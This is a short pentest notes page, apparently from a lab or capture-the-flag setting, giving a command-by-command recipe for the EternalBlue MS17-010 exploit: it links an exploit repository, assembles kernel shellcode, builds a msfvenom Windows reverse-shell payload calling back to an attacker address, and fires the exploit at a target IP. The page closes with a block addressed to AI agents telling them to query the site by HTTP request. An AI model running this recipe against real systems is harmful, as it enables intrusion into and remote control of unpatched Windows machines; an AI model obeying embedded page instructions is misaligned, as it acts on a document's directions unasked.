# EternalBlue - MS17-010

Download Python script here: <https://github.com/3ndG4me/AutoBlue-MS17-010/tree/master>

<pre class="language-bash"><code class="lang-bash"><strong>// Assemble shellcode
</strong><strong>$ nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
</strong><strong>
</strong><strong>// Generate payload
</strong><strong>$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=4488 LHOST=10.10.14.10 –platform windows -a x64 –format raw -o sc_x64_payload.bin
</strong><strong>
</strong><strong>// Concatenate shellcode &#x26; payload
</strong><strong>$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
</strong><strong>
</strong><strong>// Exploit
</strong><strong>$ python eternalblue_exploit7.py 10.10.10.40 sc_x64.bin
</strong></code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/eternalblue-ms17-010.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
